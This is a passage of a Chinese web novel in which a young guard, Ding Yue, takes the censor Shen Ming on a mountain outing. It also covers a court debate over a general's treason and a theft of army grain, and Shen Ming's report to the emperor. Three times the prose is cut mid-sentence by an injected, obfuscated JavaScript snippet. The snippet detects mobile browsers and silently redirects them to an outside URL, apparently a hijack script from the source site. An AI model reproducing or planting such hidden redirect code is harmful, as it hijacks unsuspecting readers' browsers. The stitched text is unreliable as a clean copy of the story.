“沈大人不要介意,这些将士们,是真心感谢大人的,刘七是个性情中人,今日他起了个头,不然大家也不敢直接到大人面前剖白。” 沈溟应对这小小场面本不在话下,倒不为别的,只觉得自己并非真正布局全局之人,不能心安理得的承受美誉。 “那你呢?” “我?”丁越目视前方,“我当然也……” “也同他们一样?”沈溟轻笑,“小丁越,你撒谎。” 沈溟牵着马,在前面走的漫不经心,丁越慢吞吞跟随。 不知道为何,丁越感觉有些许落寞,甚至连带看沈溟背影时,觉得那背影也蒙上了一层落寞。“不如,我带大人去一个地方。” “也好,你带路。”沈溟雀跃转身。 丁越猝不及防,差点被雀跃的御史大人撞到。 “去哪?” 丁越翻身上马,“跟我来……” 午后天色稍晴,惠风覆面,丁越携沈溟在东城外绕道向北,直抵浮实山脚。 “大人你看,”丁越回头笑看沈溟,“就是这了。” 沈溟只觉山高林密,并未看到别的新奇之处,上下求索半晌,调动激情指着一处翘角飞檐道:“我看到了,就是那个山中庙宇吗?” 丁越淡然摇摇头,“不是,那是浮虚观,我说的就是这座山。” 爬山啊?难不成此山中有奇景?沈溟内心暗道,对丁越的心思捉摸不透,但是依然半步不离跟着丁越的脚步。 “此山名曰浮实山,御史大人方才在山脚看到的道观,叫做浮虚观。城内百姓缝节必拜。每年我都随指挥史和深姨来观内祈福。” “此观灵验?” “灵验与否不得而知,怕是只有有所求的人才知道。” “你每年都来,难道没有为自己求点什么?” “深姨替我求了啊。”丁越豁然一笑。 二人亦步亦趋,山路崎岖难行。沈溟心中揣着疑问,不防脚下,差点栽倒,恰是丁越眼疾手快,借了一臂之力,承托沈溟的腰腹。 “御史大人当心。” “果然好护卫。”沈溟张口夸完人,也不绕弯子了,直截了当的问出心中疑惑,“姜大人府上与你家有何渊源?” 丁越面色无异,坦然道:“渊源么,大概就是我父亲曾是暮北军寒槊营的前锋将,我母亲则是巫马部族的女儿,暮北军用的战马均是出自巫马族,凭借这样的机缘,他们相识军中并生下了我。”丁越携起沈溟的手腕,“大人当心。” 脚下一片荆棘横亘,交织缠绕,把路当了个结实,丁越拉着沈溟寻了个稍稀疏的草木豁口钻进去,略费了点力,好歹是饶了过去。 “那荆刺扎进衣裳事小,划在身体上十分生疼,一不小心极易割伤脸。”丁越掸了掸衣襟,抬手示意沈溟继续往前。 “原来你母亲是巫马族的,这就可以理解了。”纵然习武,但是沈溟甚少进入这种深山密林,额间也沁出了些许汗。 “大人是说我的长相吗?” “对,你的眉眼深邃,面容却较军中大多数男子白皙。”恰缝一岔路,沈溟直觉应该是往山顶。“所以你自小就养在姜府,蒙姜夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223632|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照料。” 丁越立在原地,“大人,这边。”沈溟老老实实退下来,朝另一岔口走去。 “大人猜的没错,父亲常在军中,母亲来自巫马族,在戎平城没有熟人,好在深姨与我母亲相交投契,故而对我和我母亲照拂有加。天元十三年,北赖举兵进犯绥宁城,我父亲战死,母亲也在巫马族送马途中遇到了暴雪。” 天元十三年那场战斗,是姜长鹰真正成为暮北主帅之战,大程国谁人不知。当年胡蟾和赖食还是一国,其举兵进犯北边之城绥宁之时,高浪趁机入境,巫马族是暮北军战马供给地,当时战马损耗严重,又因雪路难行,族中许多人迁延在交战地,无法回到族里,有人甚至干脆就地换上戎装,上了战场。巫马族女人们扛起大旗,挑选战马,送到暮北战场。丁越母亲是个深明大义的女子,彼时恰逢她回到族中探亲,听闻族中号召,当即加入送马的队列,却在返程途中遭遇暴雪。尽管那场仗赢了,但是这一队送马的巾帼英雄却长眠在了平戎和巫马族的边界之地。 “我父亲母亲永远留在那场战斗里了,深姨将我养大。所以我这辈子都会追随指挥史,追随姜氏。”丁越平静说完,二人已经停在了山中一静湖边。 夜幕将至,亏月高悬于空,秋风阵阵,扯着一片一片破碎无规则的云,把月的光亮遮遮掩掩。湖水反着清冷的月色,映着林间的森寂景致,让沈溟打了两个寒战。 “天快黑了,出过汗在这里会格外冷。” 沈溟尽量放松牙关,“景色这么美,就是这了吧。” 丁越欲张口,转念却含笑说,“不是,还没到呢。” 沈溟逡巡着湖光月色,喃喃道:“居然不是嘛?” 丁越忍不住笑意更浓,他知沈溟是个不愿扫兴的,一路所见都极给面子的先夸为敬,而此刻夸景致好八成是不想再走了。 沈溟被看穿,也不挣扎,抱臂坦言,“这里景色实美,我可没说假话,如果你要去的那地方不比这里更好,咱们改天再去吧。” “大人也说谎。”暮色给予了丁越莫名的勇气,他直视着沈溟的眼睛,“你不是要走了吗?” “……” 丁越绕湖而行,停在一缓坡处,这坡是一块天然巨石形成,顶面平整,丁越三两步跨上去,沈溟跟着,上去一看,居然还有石刻的案几。 “大人请坐,我去去就回。”丁越抄了跟木棍,飞身略过湖面,倏忽揭棍凌厉往湖心刺去,又在湖面水草探出处借了个巧力飞身回到石坡。 “野炊?”沈溟看着木棍上多了两条被扎了个对穿的鱼。 丁越利落生了堆火,把处理好的鱼架上去烤。就着火光,沈溟终于暖了身。 “这地方你常来吗,我看你熟门熟路的。” “不常来,这里是山下浮虚观的道士开凿来玩的,两年前来祈福,五公子顽皮跑出来了,我和黄碚江出满山寻人,便发现了这个地方。” 沈溟点点头,侧目看向湖,围着篝火吃喝,看景赏月,的确是个绝佳的所在。 “大人还没回答我。” “什么?” “要走了?” “当然。”沈溟脱口,倏忽想到方才这个问题之前,自己胡乱说了句什么。“呃,不过,来日方长嘛。” 丁越期待的眼神暗了暗,垂眸看被架在火上烤的鱼。 沈溟愈发难受,心道自己怎么回事呢。便小孩记仇似的说,“本御史的问题你不也没回答过。” “你问。” “……啊?” “你现在问,我就答。” 丁越抬起眼,直视沈溟。 糟糕,怎么又变成自己难受了。沈溟莫名气恼,嘴上轻笑一声,“这鱼这么烤,味道能好吗?” “……”丁越收回目光,本打算长久的盯着这鱼了,却仍旧占理的回了句“属下认为,鱼就得烤,烤透了味道才最好。” 沈溟却不再纠结鱼的问题,看着丁越喃喃,“原本挺乖一孩子,怎么瞧着挺倔的。” 丁越把条外焦里嫩的鱼递过去,看架势是非吃不可的。 沈溟接过,闻了一闻,“嗯,好像是很香。”轻咬一口,外皮焦脆,入口甚好,“不错。” 丁越稍有得色,把另一条鱼转了转,不料沈溟忽然扶住胸口,一副如鲠在喉的模样。丁越也不管鱼了,当即起身查看。“御史大人,你,你怎么了。” “腥,有点腥。” 御史大人最怕腥了,丁越忽然想到。 少顷,沈溟平复了许多,毕竟第二口觉察腥味他就没再吃。他朝丁越伸了伸手。 丁越会意,解下水囊递过去。 沈溟仰头闷了一口。“怎么不是酒了?” “我近日在粮仓当值,上面是布政史陆大人,我就没带酒了。” 这是怕给姜长鹰惹麻烦,不想让指挥史落人话柄。“水也好。” 丁越听完沈溟一如既往的随和,脸色却深沉了下去,讷了半晌,终于忍不住道:“水也好,鱼也好。明明大人要水的时候我递的是酒,不想吃鱼我硬塞给了您,现在大人吃鱼占了腥气,想喝酒却只有水。”丁越忽然喃喃的说了一堆,悉数两个月来自己犯过的一些错,似有失落。 沈溟一滞,“那又如何。” 沈溟是从来不会计较这些的,相处下来,丁越怎会不知。丁越看着他,闷声而又真挚的说,“我的意思,沈大人不说清楚自己所想,容易让人拿捏不准。” “……”丁越要说什么?沈溟知道,又好像不知。“我没有不说清楚啊。很多事情是源于误会,就像当初我没想到季鹰军小将士递过来的水囊里,装的居然是酒。”沈溟看向他,明眸满含笑意。“可是我后来觉得,酒也很好,非常好。” 21.事发(上) 晚云化露,孤光灼萤。 山中湿气氤氲,寒意渐盛,沈溟却不想立刻打道回府,拿着树枝胡乱拨弄着篝火。 丁越只好去给御史大人拾柴火。等丁越抱着一簇柴薪回来的时候,却见沈溟临湖伫立,明月篝火的光影交错,映衬着沈御史颀长身形。 丁越往火中添了几根枯枝。 “丁越,你来看……”沈溟背着身,轻声喊他。 丁越走近,见一盏荷灯缓缓漂移,往湖心挪去。树叶交叠托底,上面掬着一抔炙火,中心插着一枚燃着明火的椴木,“树叶做的荷灯!” “嘘。”沈溟仔细盯着湖心“你再看。”少顷,静湖澄澈的水中,几尾红鲤若隐若现,在荷灯的光润里游走追逐。 沈溟就地坐在石上,舒展着长腿。“你知道鱼儿为什么喜欢靠近荷灯吗?” “河灯散发着热和光亮,惹得鱼儿追逐。”丁越挨着沈溟坐下,“大人,你冷不冷?” 沈溟深深吸气,把山林湿雾携着草木的味道,灌进心肺里,“不冷。” “困了?” 沈溟没看丁越,只觉得这声轻轻的,很近。他跟随本心,任由丁越轻轻扶住自己的肩,顺势靠了上去。 “斯人可依,不冷。”沈溟轻笑说。 长睫低垂,面容如画,怀中人安谧睡去。 丁越柔声说,“斯人可依,好梦。” ****** 休沐日一过,鸿宇大街车马络绎。周岑身着青色锦鸡补子朝服,正打轩天门附近下了马车,正要抬步入朝,却被兵部梁仪善喊住。 “周次辅,周次辅留步。” 周岑站定,“梁大人。” 梁仪善面色不好,观澜仓的消息他知道得太晚了,可这还不是最糟糕的,海贼侵袭云城,邢柏年投敌,兵部有口说不清,不知道今日的朝堂的会发生什么。有人战战兢兢,有人却作壁上观,等着看戏。梁仪善原本是瞧不上周岑的,然而这个当年的谋臣已经身居二品内阁次辅,朝中诸事,皆要先过他的手。 “周大人,云城之事想必你已听说,邢柏年投敌,实在是令朝野上下震惊,想必陛下也非常震怒,只是兵部在这件事情上,有过错亦有苦衷,朝堂之上,还请周大人能够明白这一点,兵部会禀着万分的决心要弥补失察之责。” 梁仪善向来不屑和其余官员过从亲近,尤其是文臣,今日居然能放下身段,临时抱佛脚的想到堵周岑,也是慌不择路了。周岑面上和善,实际却是个辞色锋利的。此刻不必再佯装温吞。只说:“梁大人心系江南,周某感同身受,只是陛下怎么定论,终究不是我这一介阁臣能够揣度得出来的,是否是失察之责,未免定论尚早。” “周大人,不必如此,我知道云城的事必定会令陛下震怒,龙威之下我梁仪善不做他想,只求能够为陛下分忧,我想璃王殿下也是这般想的。” 他不提楚珩这一层还好,周岑眼中隐含怒意,“梁大人这话我就不明白了,观澜仓的事本就不小了,现下还有云城遇袭,只是失察之责就能酿成这般结果,只怕从此以后大程律法对失察之责的量刑,要重新拟定了。”说罢转身离去。 过了轩天门,大臣们依律不得交头接耳,均按品级列队等待召见。司礼监传百官,大臣们鱼贯而入。奉天殿内,众人山呼万岁,乾泽帝楚玹扫视百官,面色如常。 “诸位爱卿今日可有事启奏?” 乾泽帝亲问,早朝第一件事,向来都是近日重点,若是小事,不是非临时得知,或处置结果有偏颇,定要在朝堂上公然拟定方案,不然都会走内阁,或由内阁组织大臣在文渊阁商讨解决。 众人无话,梁仪善在斟酌是否自觉禀报云城之事。左侍郎秦迅不在,梁仪善打算给右侍郎张启慧递眼色的时候,乾泽帝直接点了内阁。 “朝廷诸事繁多,内阁?可有什么困难?” 周岑看了眼晁三易,率先开口:“回禀陛下,沈大人近日递交奏报言,说是江南水患基本平定,灾民安置,修缮工事也进展顺利。姜指挥史陪同巡灾,后自瑞城押送土匪到云城,不久前军粮下拨令传至江南,姜指挥史按照调令押运军粮,现下沈御史和布政使正在坞城下放赈灾银粮。” 周岑挑挑拣拣,说的居然全是好的。但已把议事方向,引导在了江南。 乾泽帝听周岑说完,几不可见的冷笑了一下,等了一会方才微抬起眼,“嗯?只有这些?” 蔡申出列,“回禀陛下,本月江南坞城观澜仓遭袭,江南都指挥使邢柏年窜同瑞城知尹曹忠买通土匪,抢劫军粮,事情败落后,邢柏年叛国逃离,并勾结南境星末岛的廊越国意图进犯我大程,好在云城将士奋力抗贼,没教海贼奸计得逞。” 朝堂窸窸窣窣,许多官员对江南的事还未知全貌,只是零星听得一些。蔡申的几句话,让一众人等惊愕。 乾泽帝漠然的看了看兵部,梁仪善在队列里,看不清反应。“邢柏年在江南多年,好端端的,怎会突然叛国投敌?” 内阁李明维站了出来,“回陛下,邢柏年投敌,并非没有端倪,此前五方军粮下拨的时候,邢柏年就只报军需,不报水患,现在看来的确大有问题。许是邢柏年彼时已经无心江南军政,一心只在军粮,如果提早下拨军粮,观澜仓一开,邢柏年就更有机会朝军粮下手。” 当时乔广陵看似刻意针对梁仪善的攻讦现下成了真,让人唏嘘。 梁仪善向来在朝堂都是一副泰然自若的样子,只有涉及兵部,才会主动积极回应。倘若朝廷各部事宜需要兵部配合,梁仪善亦从不推诿,这也是乾泽帝看中梁仪善的原因。今日不同,乾泽帝觉得梁仪善的“泰然”格外令他不快。 “兵部可有话说?” 梁仪善缓缓出列,“回陛下,邢柏年曾为江南都指挥使,隶属兵部,虽远在江南,他所作所为兵部也逃不了责任。兵部至今都未收到邢柏年的奏报,但是说邢柏年侵袭观澜仓抢夺军粮,勾结海贼进犯云城,臣以为个中细节还需要详查。” 内阁王柳立即出来指摘,“详查?邢柏年勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232227|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结曹忠,暗传密信,那密信不巧被被土匪截胡,现在土匪和曹忠皆被抓获问罪,梁大人以为,邢柏年之罪,还没有办法下定论吗?” “我并无此意,只是在定罪之前,难道不要讲个真凭实据吗。” “观澜仓劫军粮的土匪、瑞城的曹忠乃至云城的段将军,皆是人证,邢柏年一面勾结土匪趁着指挥史姜长鹰赈灾之际侵袭观澜仓,一面暗中勾结海贼进犯云城,还故意放出假的密信,让云城主帅段将军误以为海贼会大举侵袭云城仓,故而转移兵力镇守仓门,却害的云城险些失守。这些种种,难道梁大人对邢柏年的清白还抱有幻想吗?” “王大人不要激动。”兵部张启慧站出来道:“邢柏年罪无可赦,但这罪怎么定,需要依据事情的前因后果人证物证作为依据,即便是邢柏年勾结海贼,抢劫军粮,那动机是什么呢?” 梁仪善警觉起来。 张启慧的话让众人开始思考,邢柏年为何如此。 刑部尚书张松说话了:“臣也十分的不理解,邢柏年作为江南都指挥使,虽然为人刻板刚硬,却不像是个不计后果的莽夫,抢劫军粮和通敌,哪一条都是没有回头路的死罪,若非进入绝境,否则何至于此呢?” “张大人说的对,邢柏年在江南多年,统管江南九城军务,虽谈不上位极人臣,但是已经是一方重臣。若非极大的诱惑或者极大的压力,怎会放着好好的都指挥使不做,要孤注一掷,犯下这样的大罪?” 内阁次辅周岑顺势分析道:“邢柏年在江南多年,凡奏报军务皆是上报兵部,不知兵部可知,邢柏年在政务职责中,有何吃力之处?又有何获利之便?” 梁仪善微微抬头,眯起眼看着一向在朝堂上持中的周岑。 显然此刻这警告已经无力。 “周大人所言,兵部可有人能答?”乾泽帝显然认同内阁的话。出事的人在兵部,在朝中职权中是乾泽帝最为敏感的职能所在,兵部答与不答都不好。 梁仪善此时不能龟缩,如是说:“回陛下,邢柏年远在江南,若说获利,臣不知,也不觉得江南九城军务中有这样巨大的可图之利益,能教他做出如此万劫不复的事情。统辖九城军务虽有不易,但是连年兵部也都将当地军政实情据时上表至内阁,臣也是百思不得其解。”梁仪善把有利可图的事推给邢柏年个人,把军务职责压力上升到兵部总体,答的巧妙。 推诿扯皮,聊不出实际。 乾泽帝不耐烦,“阁老?” 晁三易不急不慢,“陛下,邢柏年没有抓到,此时在朝堂争论他动机为何,没有办法得出确切结果,也没有办法定论,不如一方面从江南眼下具体之事着手,看看有没有头绪,另一方面,待巡按御史沈大人回朝后,再细查。还有……此事也需要各部齐心协同,可以就不同的见解探讨商议,却不好一味的争执。” 张松朝晁阁老欠身,“臣附议。阁老,此事刑部必定要参与,若是有什么需要刑部配合的,尽管吩咐。”兵部出了事,张松此刻尤为通情达理。 22.事发(下) 朝前没有得出结论,乾泽帝私下召见了晁三易。 仁德殿内落针可闻,乾泽帝轻咳一声,邱侣公公将陆谦袁的奏折递给了晁三易。 “江南水患,直接影响了今年第四次军粮下拨,邢柏年铤而走险,背后有何内情?又如何劝得动廊越国举兵进犯云城?就算肯相信邢柏年没有给他们下套,也得是有利可图才行。” “陛下,江南局势复杂,但是这其中,水患并非是直接导火索,换言之,就算今年江南没有水患,邢柏年未必不会叛国。” 晁三易话说到这里,似是挑开了江南污浊官场遮羞布。 “阁老的意思,邢柏年早就通敌。只是朕不明白,这么多年,难道云城一干官员竟对邢柏年所作所为毫无察觉?” “陛下,邢柏年今日行径,根不在江南,也不在南境海贼。” 乾泽帝以为晁三易要谏言,“阁老,肃清官场不是一朝一夕的事情,眼下,朕迫切想知道邢柏年所为背后原因,到底是为什么。” 晁三易一阵沉默。半晌后,晁三易年迈的身躯跪了下去。 乾泽帝以为晁三易这架势是要顽固直谏,谁料晁三易却不紧不慢的说了另一件事,“天元十七年初,隆冬刚过,北境胡蟾和赖食忽然频繁进犯我大程,军粮告急,季鹰军在北方战场苦战,先帝听闻此,便提早了那一年春季的军粮下拨,但是过了一月,暮北斥候却说没有看到军粮前锋队和他们会面。先帝命彼时还是户科都给事中的乔广陵去暮北监军。等到乔广陵过庆东山脉,却发现江南发往暮北的军粮才刚刚上岸,于是就随军粮一同去了暮北。” 大程天元年间开始,暮北军粮便从江南拨运,由于南北路途遥远,故而军粮自观澜港走海域直达庆东的醒茶港,再从庆东走陆运押送到暮北交战地。朝廷会委派督粮官在庆东对军粮例行检查,核验数量和品质,后随行军粮北上,直到军粮安全抵达暮北,在暮北军及江南运粮官交接文书后,回朝复命。 乾泽帝蹙眉,晁三易叙述的这段往事他并不陌生。那一年北赖滋扰频繁,季鹰军接连鏖战,甚至痛失多员虎将,幸好最后季鹰军撑到了补给送达,否则后果不堪设想。 晁三易接着说,“乔广陵知道暮北军粮之关键,便询问军粮贻误这么久的原因,督粮官只说是海上风浪大,又有雨水天气,才导致了军粮食受损。军情紧急,乔广陵当时没有细细追究,等到回到永益皇城,乔广陵欲找之前的督粮官,却发现此人早已经突发恶疾死在庆东。” “关乎军粮和北境,父皇难道没有一查到底吗?” 晁三易摇摇头,在不断的回忆中蒙上了悲伤。“先帝当时已经病入骨髓,兵部和户部倒是坚持查下去,内阁便让刑科都给事中和乔大人一起前往庆东,但是淮城知尹一问三不知,守备军总镇说尸身已经按律法送回故里,具体的已经上奏兵部。又以淮城有重要港口醒茶港为由,打发了两位都给事中。就连当时淮城守备军也前来阻拦,在他们的“护送”之下,乔广陵等人回到了永益城,此事就此不了了之。然而事后得知,淮城醒茶港盐提司竟是蔚王妃弟弟纳兰通。” 乾泽楚瑾蹙眉眯起了眼,“阁老想说什么?”乾泽帝听得心内郁结。 “陛下,蔚王在庆东有庄子,在永益城,泉启城、忘水城也有庄园田地。庆东尚且不提,那泉启和忘水二处的水土如何,能孕育怎样的五谷,又能产出怎样的珍奇药材,陛下肯定一清二楚,然而户部每年核账,却总言蔚王从库颇丰且质量上乘。若说蔚王想表衷心,刻意买来上等贡粮呈交国库,那蔚王同大臣们礼尚往来的,又是什么样的货品,陛下不妨查一查。蔚王府内尚且不论,单就从蔚王手里流出那些东西究竟产自哪里,一查便知。” 乾泽帝胸口起伏剧烈,“阁老的意思,邢柏年背后,是蔚王?” “观澜仓乃天下第一仓,从南到北,这粮车上早就已经布满蠹虫,再不肃清,下次运到暮北的恐怕就是不是变质的粮食这么简单了。它们吃的不仅仅是军粮,吞噬的乃是大程国的江山社稷啊。” 晁三易说到最后,已露悲恸。他是大程国的股肱之臣,乾泽帝知道他不会信口就挑起这件旧事,但他需要斟酌再三。“阁老慎言,蔚王乃我表兄,是朕亲封的一字亲王,蔚王是奢靡,江南的精谷粮药能弄到手的确也有贪污之嫌,只是,凭借一庄旧案,说他指使邢柏年大张旗鼓抢劫军粮,朕实难相信。” “陛下……” “阁老!” 乾泽帝示意邱侣公公扶起晁三易,“阁老今日说了许多话,朕,自会斟酌,你且回去,此事,过后再议。” 晁三易在邱侣的搀扶下艰难起身,他佝偻着身躯,知道自己再说无益。然而就在此时,殿外来报,江南巡按御史沈溟沈大人回到永益城,已在轩天门外递了复命请求。 乾泽帝想了想,干脆给阁老赐座,“阁老留下来一起听听吧。江南的事情,看看沈大人折子里有没有遗漏的。” ****** 乔广陵对着琴寥寥拨弄,然后又拿起一张曲谱对照,不时做着标注。 “主子今日很有闲情逸致。东宫那边没有课吗?” “少师并几个大学士在那边。”乔广陵手上不停,“还有予鹿也在,我就不去了。” “沈大人回来了,说是先去宫里。”北林放了一杯茶在乔广陵案上。 乔广陵听到这里搁了笔,思忖片刻,没有接北林的茬,却说:“今天秦大人生病告假,北林,你把前些日子得的一些擎南特产交给他哥哥秦俢,让他带过去吧。” ****** 沈溟一身蓝色窄袖牡丹圆领袍,蜂腰削背,形貌昳丽,虎步行至殿内。撩起角袍,跪地行君臣礼大礼。 “臣沈溟叩见陛下!” 乾泽帝心中的阴郁去了一半,面色依然冷峻。 “免礼。” 沈溟利落起身,又问了句晁阁老安,方才玉立君前,开始述职。 “禀陛下,臣于八月底奉命前往江南巡查水患,彼时江南水患来势汹汹,各城都不同程度受到水灾的侵害,其中缮城、株城、谢城较为严重。臣携坞城姜指挥史巡灾,根据各城情况布设人手,拟定赈灾银粮上奏内阁,目前赈灾银粮已经下拨,江南百姓可顺利度过这个冬季,待来年春耕,可以根据土地恢复和劳力实际情况,分发粮种,江南民生恢复有望。” 乾泽帝从头听到尾也没有听到和奏折里不一样的,于是问,“你在江南,除了赈灾,可还曾看到点别的什么事?” 沈溟眼珠一转,瞥了眼晁三易,“陛下是说?属下令姜指挥史去云城的事?……禀陛下,当时臣寻灾至瑞城,不巧遇到土匪绑架一孩童,被将指挥当街抓获。经过审问得知这几名土匪黑吃黑,竟将曹忠派遣去绑架江南富商李家千金的人给杀了,然后将计就计,打算继续绑架李家女儿以此敛财,被抓后邢柏年指使曹忠,密谋劫取观澜仓,并欲勾结海贼进犯云城的事也就败露了。不巧臣当时身体不适,臣见姜指挥史是个办事牢靠的,便临时委派他将土匪押解至云城充军。一来官员勾结土匪不是小事,臣不能草率发落一城知尹曹忠,便决意先将土匪发配充军既能人尽其用,以安民心,往后若有审讯,还能立即提审。” “呵,”乾泽帝冷笑,“三来那姜长鹰去了云城,算是替你巡视了,你料定云城灾情轻微,段大帅定能解决,便称病躲懒。” “陛下明鉴,臣的确是病了。” “好了,别在朕这里卖乖,且问你,你把曹忠抓获,可有审问他刑柏年为何会叛国投敌勾结海贼,而他曹忠又为何会听从刑柏年指令?” “稍稍问过,那厮疯疯癫癫,言语无状,臣不敢信他,觉得还是押解回朝,由刑部审讯为好。” 乾泽帝听沈溟说土匪放在云城以便日后提审,就知道沈溟早就想好了,准备把事情扔给刑部。乾泽帝撇了撇嘴,“那姜长鹰呢?你让他去云城,他二话没说也就去了?” “嗯……回陛下,曹忠说邢柏年勾结海贼,臣料想云成军常年驻扎南境,对廊越国了如指掌,必定能抗击,所以我将整件事交代给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240324|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜指挥史,让他自行决定……” 乾泽帝听到此处,吸了口长气。冷哼道:“自行安排?你还挺开明。”沈溟堂堂巡按御史,巡视期间直属皇权,他下的命令若姜长鹰有异议,那就是在藐视君威。这话谁听了不觉得沈溟于政务之事太过儿戏,但他这个性格,恰恰也是乾泽帝愿意放权给他的原因。 沈溟还在继续,“姜指挥史写了封信加急送回坞城,就决定去云城,临走前跟臣说,邢柏年能说动海贼,站在海贼的利益立场上,粮食应当是最大的诱惑。很有可能海贼一面进犯云城,一面又觊觎观澜仓。臣觉得姜指挥史分析颇为有理,毕竟他对此很有经验。此后臣写了封加急信让段将军派兵接应姜指挥史,然后就动身去坞城了,水患寻灾收尾在瑞城,恰逢布政使亲临,臣便把瑞城的事都交给了陆谦袁陆大人,让他办完瑞城的事务,就去坞城同理赈灾粮事宜。” 乾泽帝似笑非笑,叹了口气,抬眼倪着沈溟,“真是亏得你了,拖着病体去坞城。” 晁三易手里还攥着陆谦袁的奏疏,他起身行了一礼,问道:“沈大人辛苦,敢问沈大人去了坞城后,粮仓如何。” “阁老挂心,粮仓无事,贼人没有得逞,被悉数擒获。” “那帮贼人何在?”乾泽帝对沈溟爱撂挑子的行为不放心。 “回陛下,被臣安排在兵马司军牢内。” “还算你清醒,没有直接送到刑部那边去。”乾泽帝轻笑,不知道是夸赞还是讽刺。 ****** 云城之战后,士兵稍作整顿便投入了紧急的战后重建。 西城已经修葺完毕,女墙加固,还增设了不少弩机台。段悠宏巡查后,下令云城东城门也需要做同样的加固。虎川觉得段悠宏近来心情舒畅了不少,便借着陪同巡查的契机重提了与廊越国阿会族的那场战争。 “大人,廊越国阿会族兵败云城,估计会消停一阵子。上次我们是猝不及防,往后云城有大人坐镇,必定一如既往坚不可摧。只是……” 段悠宏一手拽着缰绳,他微微含胸,雄健的身姿随着马背颠簸一起一伏,“有什么话你就直说。” “上月云城一战,没有提及姜长鹰,我担心,会有不妥。” “的确会有不妥,但是那又如何,姜长鹰押解来的土匪涉及坞城军粮案,如今弄丢了人,到时候朝廷追究,我一样只字不会提姜长鹰,只说人是战乱之际逃跑了,我再上疏请罪,按照姜长鹰的性格,应该不会多言。就怕……” “就怕沈溟多言。”虎川为难道,“恕属下多嘴,我总感觉这件事里面多了个沈溟,就没那么简单。” 段悠宏扯了一把手里的绳,在日光下迷离着眼倪着虎川,“面对没见过的人,总是会很神秘,我却听说他是个纨绔。但是和你一样,我也担心他,因为是个纨绔,所以直来直去,脑子不会转弯,这次奏疏刻意抹掉姜长鹰,我也是为了试探一下。” “试探?” “是的,云城具体发生了什么沈溟不清楚,姜长鹰那边最后的结果大不了是功过相抵,那样的话,我觉得沈溟无论是不是纨绔,至少对于姜长鹰,没有偏私。如果,最后过错全在我,功全在姜长鹰的话……就说明朝廷有人看不惯我久居此位。” 段悠宏没有说下去,虎川不明所以,“大人严重了,云城一战,大人拼死守城,鞠躬尽瘁。即使陛下因为西城损失的兵马来追责,也顶多是斥责一番,大程南境,永远都离不开大人,这一点,天下人皆知,陛下亦知。” 段悠宏看着眺望这座城,仿佛一眼就能望到头,蓦然轻笑,“凡事没有永远,你知道,曾经世人也都觉得大程国北境不可没有姜长鹰,但结果呢?十年前暮北军易主,姜长鹰永远的留在了坞城。从那以后我就知道,做大程将士如履薄冰才是常态,不求有功但求无过,谁会不怕呢。远在南境,朝中局势却不得不时时探知,这也是没法子的事情,罢了……”段悠宏逆着光前行,没有回头,“你再拟定奏疏一封,将云城的事据实上表,不过,不要急着发出去。” 23.审问(上) 东苑藕花阁后是一片树林,其后假山环抱一别院。北林耳目灵敏,远远便听见嬉闹声,果然是小阿辰的噩梦来了。两罐桂花蜜放在角亭内圆几上,北林拎起来看了又看。 “这封泥还是新的,你把姜家没酿熟的桂花蜜偷来了?” 院中的沈溟也不辩驳,得意的说,“熟没熟先别管,但我知道包甜,看你没有,我好心带给你尝尝。” “我不尝,我怕甜头过了,就剩酸涩。”这话到不假,未熟的桂花腌制初入口是甜,回味却依然会有花本来的涩口之感。只是北林这话听着不像单纯在说桂花蜜。 “北林叔,老爷说酸涩也比没滋味强。”小阿辰一边扎马步一边接茬。 沈溟把刀尖戳在地上,蹲下身平视小阿辰。“你家老爷什么时候说的?” “之前北林叔去找你之后,他说桌上没有那碗醋鱼了,反而吃不下饭。”小阿辰目不斜视,仍旧保持着姿势,额间微微沁出薄汗。 沈溟皱了皱眉,“你的醋鱼有多难吃,才能让一个没有味觉的人觉得平日里那没滋味的饭菜也是香的?” 北林不搭理他,提着桂花蜜要走。沈溟却来劲了,飞身落到跟前,把北林上下打量了一遍,“你还是之前那身打扮好看,儒雅温润,像个世家公子。” 北林几不可见的翻了个白眼,“温润如玉的沈公子,你再废话,待会就要挨骂了。”说完薅开沈溟管自己走了。 乔广陵等在井心阁,沈溟不喜欢这个地方,全是书卷气,坐下来感觉浑身不自在,干脆挨着窗,长腿伸到案几下边。 “布政史陆谦袁的奏折说的不是全貌,但是留白的地方却很巧妙。” “是很巧妙,可惜你那些内阁同僚竟没一个站出来追究细节的。” “不是不追究,这事太大了,大家还在反应。”乔广陵看沈溟不老实的拿脚勾住案几拖到近处,挑拣了一本书随意翻看,“另外,这不是江南御史才刚回来嘛。” 沈溟嗯了一声,翻着书说,“那你可知云城的奏折是怎么写的?” 